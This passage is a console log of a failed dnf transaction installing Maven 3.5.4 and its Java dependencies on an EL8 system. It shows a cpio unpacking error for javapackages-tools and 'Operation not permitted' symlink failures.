maven-resolver-util-1.1.1-2.module_el8.0.0+39+6a9b6e22.noarch.rp 2.8 MB/s | 148 kB 00:00 (32/45): maven-wagon-file-3.1.0-1.module_el8.0.0+39+6a9b6e22.noarch.rpm 1.6 MB/s | 26 kB 00:00 (33/45): maven-shared-utils-3.2.1-0.1.module_el8.0.0+39+6a9b6e22.noarch.r 6.3 MB/s | 165 kB 00:00 (34/45): maven-wagon-http-3.1.0-1.module_el8.0.0+39+6a9b6e22.noarch.rpm 1.4 MB/s | 27 kB 00:00 (35/45): maven-wagon-http-shared-3.1.0-1.module_el8.0.0+39+6a9b6e22.noarc 3.2 MB/s | 49 kB 00:00 (36/45): plexus-cipher-1.7-14.module_el8.0.0+39+6a9b6e22.noarch.rpm 1.7 MB/s | 29 kB 00:00 (37/45): maven-wagon-provider-api-3.1.0-1.module_el8.0.0+39+6a9b6e22.noar 2.7 MB/s | 63 kB 00:00 (38/45): plexus-classworlds-2.5.2-9.module_el8.0.0+39+6a9b6e22.noarch.rpm 3.8 MB/s | 65 kB 00:00 (39/45): plexus-containers-component-annotations-1.7.1-8.module_el8.0.0+3 1.3 MB/s | 24 kB 00:00 (40/45): plexus-sec-dispatcher-1.4-26.module_el8.0.0+39+6a9b6e22.noarch.r 2.4 MB/s | 37 kB 00:00 (41/45): plexus-interpolation-1.22-9.module_el8.0.0+39+6a9b6e22.noarch.rp 3.5 MB/s | 79 kB 00:00 (42/45): sisu-inject-0.3.3-6.module_el8.0.0+39+6a9b6e22.noarch.rpm 14 MB/s | 339 kB 00:00 (43/45): plexus-utils-3.1.0-3.module_el8.0.0+39+6a9b6e22.noarch.rpm 7.7 MB/s | 259 kB 00:00 (44/45): sisu-plexus-0.3.3-6.module_el8.0.0+39+6a9b6e22.noarch.rpm 6.1 MB/s | 180 kB 00:00 (45/45): slf4j-1.7.25-4.module_el8.0.0+39+6a9b6e22.noarch.rpm 4.8 MB/s | 77 kB 00:00 ---------------------------------------------------------------------------------------------------------- Total 38 MB/s | 19 MB 00:00 Running transaction check Transaction check succeeded. Running transaction test Transaction test succeeded. Running transaction Preparing : 1/1 Installing : plexus-utils-3.1.0-3.module_el8.0.0+39+6a9b6e22.noarch 1/45 Installing : maven-resolver-api-1:1.1.1-2.module_el8.0.0+39+6a9b6e22.noarch 2/45 Installing : maven-wagon-provider-api-3.1.0-1.module_el8.0.0+39+6a9b6e22.noarch 3/45 Installing : maven-resolver-spi-1:1.1.1-2.module_el8.0.0+39+6a9b6e22.noarch 4/45 Installing : maven-resolver-util-1:1.1.1-2.module_el8.0.0+39+6a9b6e22.noarch 5/45 Installing : slf4j-1.7.25-4.module_el8.0.0+39+6a9b6e22.noarch 6/45 Installing : httpcomponents-core-4.4.10-3.module_el8.0.0+39+6a9b6e22.noarch 7/45 Installing : atinject-1-28.20100611svn86.module_el8.0.0+39+6a9b6e22.noarch 8/45 Installing : plexus-containers-component-annotations-1.7.1-8.module_el8.0.0+39+6a9b6e22.n 9/45 Installing : plexus-classworlds-2.5.2-9.module_el8.0.0+39+6a9b6e22.noarch 10/45 Installing : plexus-cipher-1.7-14.module_el8.0.0+39+6a9b6e22.noarch 11/45 Installing : hawtjni-runtime-1.16-2.module_el8.0.0+39+6a9b6e22.noarch 12/45 Installing : guava20-20.0-8.module_el8.0.0+39+6a9b6e22.noarch 13/45 Installing : apache-commons-io-1:2.6-3.module_el8.0.0+39+6a9b6e22.noarch 14/45 Installing : maven-shared-utils-3.2.1-0.1.module_el8.0.0+39+6a9b6e22.noarch 15/45 Installing : jansi-native-1.7-7.module_el8.0.0+39+6a9b6e22.x86_64 16/45 Installing : plexus-sec-dispatcher-1.4-26.module_el8.0.0+39+6a9b6e22.noarch 17/45 Installing : jcl-over-slf4j-1.7.25-4.module_el8.0.0+39+6a9b6e22.noarch 18/45 Installing : maven-resolver-impl-1:1.1.1-2.module_el8.0.0+39+6a9b6e22.noarch 19/45 Installing : plexus-interpolation-1.22-9.module_el8.0.0+39+6a9b6e22.noarch 20/45 Installing : geronimo-annotation-1.0-23.module_el8.0.0+39+6a9b6e22.noarch 21/45 Installing : apache-commons-logging-1.2-13.module_el8.0.0+39+6a9b6e22.noarch 22/45 Installing : apache-commons-lang3-3.7-3.module_el8.0.0+39+6a9b6e22.noarch 23/45 Installing : apache-commons-codec-1.11-3.module_el8.0.0+39+6a9b6e22.noarch 24/45 Installing : apache-commons-cli-1.4-4.module_el8.0.0+39+6a9b6e22.noarch 25/45 Installing : aopalliance-1.0-17.module_el8.0.0+39+6a9b6e22.noarch 26/45 Installing : google-guice-4.1-11.module_el8.0.0+39+6a9b6e22.noarch 27/45 Installing : jansi-1.17.1-1.module_el8.0.0+82+8ee6c375.noarch 28/45 Installing : maven-resolver-connector-basic-1:1.1.1-2.module_el8.0.0+39+6a9b6e22.noarch 29/45 Installing : maven-resolver-transport-wagon-1:1.1.1-2.module_el8.0.0+39+6a9b6e22.noarch 30/45 Installing : maven-wagon-file-3.1.0-1.module_el8.0.0+39+6a9b6e22.noarch 31/45 Installing : jsoup-1.11.3-3.module_el8.0.0+39+6a9b6e22.noarch 32/45 Installing : jboss-interceptors-1.2-api-1.0.0-8.module_el8.0.0+39+6a9b6e22.noarch 33/45 Installing : javapackages-tools-5.3.0-1.module_el8.0.0+11+5b8c10bd.noarch 34/45 Error unpacking rpm package javapackages-tools-5.3.0-1.module_el8.0.0+11+5b8c10bd.noarch Installing : java-1.8.0-openjdk-devel-1:1.8.0.312.b07-2.el8_5.x86_64 35/45 error: unpacking of archive failed on file /usr/bin/build-classpath;68de90c7: cpio: open error: javapackages-tools-5.3.0-1.module_el8.0.0+11+5b8c10bd.noarch: install failed Running scriptlet: java-1.8.0-openjdk-devel-1:1.8.0.312.b07-2.el8_5.x86_64 35/45 failed to link /usr/bin/appletviewer -> /etc/alternatives/appletviewer: Operation not permitted failed to link /usr/bin/clhsdb -> /etc/alternatives/clhsdb: Operation not permitted failed to link /usr/bin/extcheck -> /etc/alternatives/extcheck: Operation not permitted failed to link /usr/bin/hsdb -> /etc/alternatives/hsdb: Operation not permitted failed to link /usr/bin/idlj -> /etc/alternatives/idlj: Operation not permitted failed to remove link /usr/bin/jaotc: Operation not permitted failed to link /usr/bin/javah -> /etc/alternatives/javah: Operation not permitted failed to remove link /usr/bin/jdeprscan: Operation not permitted failed to link /usr/bin/jhat -> /etc/alternatives/jhat: Operation not permitted failed to remove link /usr/bin/jhsdb: Operation not permitted failed to remove link /usr/bin/jimage: Operation not permitted failed to remove link /usr/bin/jlink: Operation not permitted failed to remove link /usr/bin/jmod: Operation not permitted failed to link /usr/bin/jsadebugd -> /etc/alternatives/jsadebugd: Operation not permitted failed to remove link /usr/bin/jshell: Operation not permitted failed to link /usr/bin/native2ascii -> /etc/alternatives/native2ascii: Operation not permitted failed to link /usr/bin/schemagen -> /etc/alternatives/schemagen: Operation not permitted failed to link /usr/bin/wsgen -> /etc/alternatives/wsgen: Operation not permitted failed to link /usr/bin/wsimport -> /etc/alternatives/wsimport: Operation not permitted failed to link /usr/bin/xjc -> /etc/alternatives/xjc: Operation not permitted Installing : glassfish-el-api-3.0.1-0.7.b08.module_el8.0.0+39+6a9b6e22.noarch 36/45 Installing : cdi-api-1.2-8.module_el8.0.0+39+6a9b6e22.noarch 37/45 Installing : sisu-inject-1:0.3.3-6.module_el8.0.0+39+6a9b6e22.noarch 38/45 Installing : sisu-plexus-1:0.3.3-6.module_el8.0.0+39+6a9b6e22.noarch 39/45 Installing : maven-lib-1:3.5.4-5.module_el8.0.0+39+6a9b6e22.noarch 40/45 Installing : publicsuffix-list-20180723-1.el8.noarch 41/45 Installing : httpcomponents-client-4.5.5-4.module_el8.0.0+39+6a9b6e22.noarch 42/45 Installing : maven-wagon-http-shared-3.1.0-1.module_el8.0.0+39+6a9b6e22.noarch 43/45 Installing : maven-wagon-http-3.1.0-1.module_el8.0.0+39+6a9b6e22.noarch 44/45 Installing : maven-1:3.5.4-5.module_el8.0.0+39+6a9b6e22.noarch 45/45 Running scriptlet: maven-1:3.5.4-5.module_el8.0.0+39+6a9b6e22.noarch 45/45 failed to link /usr/bin/mvn -> /etc/alternatives/mvn: Operation not permitted failed to link /usr/bin/mvnDebug -> /etc/alternatives/mvnDebug: Operation not permitted warning: %post(maven-1:3.5.4-5.module_el8.0.0+39+6a9b6e22.noarch) scriptlet failed, exit status 2 Error in POSTIN scriptlet in rpm package maven Running scriptlet: java-1.8.0-openjdk-devel-1:1.8.0.312.b07-2.el8_5.x86_64 45/45 Running scriptlet: maven-1:3.5.4-5.module_el8.0.0+39+6a9b6e22.noarch 45/45 Verifying : publicsuffix-list-20180723-1.el8.noarch 1/45 Verifying : aopalliance-1.0-17.module_el8.0.0+39+6a9b6e22.noarch 2/45 Verifying : apache-commons-cli-1.4-4.module_el8.0.0+39+6a9b6e22.noarch 3/45 Verifying : apache-commons-codec-1.11-3.module_el8.0.0+39+6a9b6e22.noarch 4/45 Verifying : apache-commons-io-1:2.6-3.module_el8.0.0+39+6a9b6e22.noarch 5/45 Verifying : apache-commons-lang3-3.7-3.module_el8.0.0+39+6a9b6e22.noarch 6/45 Verifying : apache-commons-logging-1.2-13.module_el8.0.0+39+6a9b6e22.noarch 7/45 Verifying : atinject-1-28.20100611svn86.module_el8.0.0+39+6a9b6e22.noarch 8/45 Verifying : cdi-api-1.2-8.module_el8.0.0+39+6a9b6e22.noarch 9/45 Verifying : geronimo-annotation-1.0-23.module_el8.0.0+39+6a9b6e22.noarch 10/45 Verifying : glassfish-el-api-3.0.1-0.7.b08.module_el8.0.0+39+6a9b6e22.noarch 11/45 Verifying : google-guice-4.1-11.module_el8.0.0+39+6a9b6e22.noarch 12/45 Verifying : guava20-20.0-8.module_el8.0.0+39+6a9b6e22.noarch 13/45 Verifying : hawtjni-runtime-1.16-2.module_el8.0.0+39+6a9b6e22.noarch 14/45 Verifying : httpcomponents-client-4.5.5-4.module_el8.0.0+39+6a9b6e22.noarch 15/45 Verifying : httpcomponents-core-4.4.10-3.module_el8.0.0+39+6a9b6e22.noarch 16/45 Verifying : jansi-1.17.1-1.module_el8.0.0+82+8ee6c375.noarch 17/45 Verifying : jansi-native-1.7-7.module_el8.0.0+39+6a9b6e22.x86_64 18/45 Verifying : java-1.8.0-openjdk-devel-1:1.8.0.312.b07-2.el8_5.x86_64 19/45 Verifying : javapackages-tools-5.3.0-1.module_el8.0.0+11+5b8c10bd.noarch 20/45 Verifying : jboss-interceptors-1.2-api-1.0.0-8.module_el8.0.0+39+6a9b6e22.noarch 21/45 Verifying : jcl-over-slf4j-1.7.25-4.module_el8.0.0+39+6a9b6e22.noarch 22/45 Verifying : jsoup-1.11.3-3.module_el8.0.0+39+6a9b6e22.noarch 23/45 Verifying : maven-1:3.5.4-5.module_el8.0.0+39+6a9b6e22.noarch 24/45 Verifying : maven-lib-1:3.5.4-5.module_el8.0.0+39+6a9b6e22.noarch 25/45 Verifying : maven-resolver-api-1:1.1.1-2.module_el8.0.0+39+6a9b6e22.noarch 26/45 Verifying : maven-resolver-connector-basic-1:1.1.1-2.module_el8.0.0+39+6a9b6e22.noarch 27/45 Verifying : maven-resolver-impl-1:1.1.1-2.module_el8.0.0+39+6a9b6e22.noarch 28/45 Verifying : maven-resolver-spi-1:1.1.1-2.module_el8.0.0+39+6a9b6e22.noarch 29/45 Verifying : maven-resolver-transport-wagon-1:1.1.1-2.module_el8.0.0+39+6a9b6e22.noarch 30/45 Verifying : maven-resolver-util-1:1.1.1-2.module_el8.0.0+39+6a9b6e22.noarch 31/45 Verifying : maven-shared-utils-3.2.1-0.1.module_el8.0.0+39+6a9b6e22.noarch 32/45 Verifying : maven-wagon-file-3.1.0-1.module_el8.0.0+39+6a9b6e22.noarch 33/45 Verifying : maven-wagon-http-3.1.0-1.module_el8.0.0+39+6a9b6e22.noarch 34/45 Verifying : maven-wagon-http-shared-3.1.0-1.module_el8.0.0+39+6a9b6e22.noarch 35/45 Verifying : maven-wagon-provider-api-3.1.0-1.module_el8.0.0+39+6a9b6e22.noarch 36/45 Verifying : plexus-cipher-1.7-14.module_el8.0.0+39+6a9b6e22.noarch 37/45 Verifying : plexus-classworlds-2.5.2-9.module_el8.0.0+39+6a9b6e22.noarch 38/45 Verifying : plexus-containers-component-annotations-1.7.1-8.module_el8.0.0+39+6a9b6e22.n 39/45 Verifying : plexus-interpolation-1.22-9.module_el8.0.0+39+6a9b6e22.noarch 40/45 Verifying : plexus-sec-dispatcher-1.4-26.module_el8.0.0+39+6a9b6e22.noarch 41/45 Verifying : plexus-utils-3.1.0-3.module_el8.0.0+39+6a9b6e22.noarch 42/45 Verifying : sisu-inject-1:0.3.3-6.module_el8.0.0+39+6a9b6e22.noarch 43/45 Verifying : sisu-plexus-1:0.3.3-6.module_el8.0.0+39+6a9b6e22.noarch 44/45 Verifying : slf4j-1.7.25-4.module_el8.0.0+39+6a9b6e22.noarch 45/45 Installed: aopalliance-1.0-17.module_el8.0.0+39+6a9b6e22.noarch apache-commons-cli-1.4-4.module_el8.0.0+39+6a9b6e22.noarch apache-commons-codec-1.11-3.module_el8.0.0+39+6a9b6e22.noarch apache-commons-io-1:2.6-3.module_el8.0.0+39+6a9b6e22.noarch apache-commons-lang3-3.7-3.module_el8.0.0+39+6a9b6e22.noarch apache-commons-logging-1.2-13.module_el8.0.0+39+6a9b6e22.noarch atinject-1-28.20100611svn86.module_el8.0.0+39+6a9b6e22.noarch cdi-api-1.2-8.module_el8.0.0+39+6a9b6e22.noarch geronimo-annotation-1.0-23.module_el8.0.0+39+6a9b6e22.noarch glassfish-el-api-3.0.1-0.7.b08.module_el8.0.0+39+6a9b6e22.noarch google-guice-4.1-11.module_el8.0.0+39+6a9b6e22.noarch guava20-20.0-8.module_el8.0.0+39+6a9b6e22.noarch hawtjni-runtime-1.16-2.module_el8.0.0+39+6a9b6e22.noarch httpcomponents-client-4.5.5-4.module_el8.0.0+39+6a9b6e22.noarch httpcomponents-core-4.4.10-3.module_el8.0.0+39+6a9b6e22.noarch jansi-1.17.1-1.module_el8.0.0+82+8ee6c375.noarch jansi-native-1.7-7.module_el8.0.0+39+6a9b6e22.x86_64 java-1.8.0-openjdk-devel-1:1.8.0.312.b07-2.el8_5.x86_64 jboss-interceptors-1.2-api-1.0.0-8.module_el8.0.0+39+6a9b6e22.noarch jcl-over-slf4j-1.7.25-4.module_el8.0.0+39+6a9b6e22.noarch jsoup-1.11.3-3.module_el8.0.0+39+6a9b6e22.noarch maven-1:3.5.4-5.module_el8.0.0+39+6a9b6e22.noarch maven-lib-1:3.5.4-5.module_el8.0.0+39+6a9b6e22.noarch maven-resolver-api-1:1.1.1-2.module_el8.0.0+39+6a9b6e22.noarch maven-resolver-connector-basic-1:1.1.1-2.module_el8.0.0+39+6a9b6e22.noarch maven-resolver-impl-1:1.1.1-2.module_el8.0.0+39+6a9b6e22.noarch maven-resolver-spi-1:1.1.1-2.module_el8.0.0+39+6a9b6e22.noarch maven-resolver-transport-wagon-1:1.1.1-2.module_el8.0.0+39+6a9b6e22.noarch maven-resolver-util-1:1.1.1-2.module_el8.0.0+39+6a9b6e22.noarch maven-shared-utils-3.2.1-0.1.module_el8.0.0+39+6a9b6e22.noarch maven-wagon-file-3.1.0-1.module_el8.0.0+39+6a9b6e22.noarch maven-wagon-http-3.1.0-1.module_el8.0.0+39+6a9b6e22.noarch maven-wagon-http-shared-3.1.0-1.module_el8.0.0+39+6a9b6e22.noarch maven-wagon-provider-api-3.1.0-1.module_el8.0.0+39+6a9b6e22.noarch plexus-cipher-1.7-14.module_el8.0.0+39+6a9b6e22.noarch plexus-classworlds-2.5.2-9.module_el8.0.0+39+6a9b6e22.noarch plexus-containers-component-annotations-1.7.1-8.module_el8.0.0+39+6a9b6e22.noarch plexus-interpolation-1.22-9.module_el8.0.0+39+6a9b6e22.noarch plexus-sec-dispatcher-1.4-26.module_el8.0.0+39+6a9b6e22.noarch plexus-utils-3.1.0-3.module_el8.0.0+39+6a9b6e22.noarch publicsuffix-list-20180723-1.el8.noarch sisu-inject-1:0.3.3-6.module_el8.0.0+39+6a9b6e22.noarch sisu-plexus-1:0.3.3-6.module_el8.0.0+39+6a9b6e22.noarch slf4j-1.7.25-4.module_el8.0.0+39+6a9b6e22.noarch Failed: javapackages-tools-5.3.0-1.module_el8.0.0+11+5b8c10bd.noarch Error: Transaction failed [root@yfw openfire-rest-api-plugin]#
10-03
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值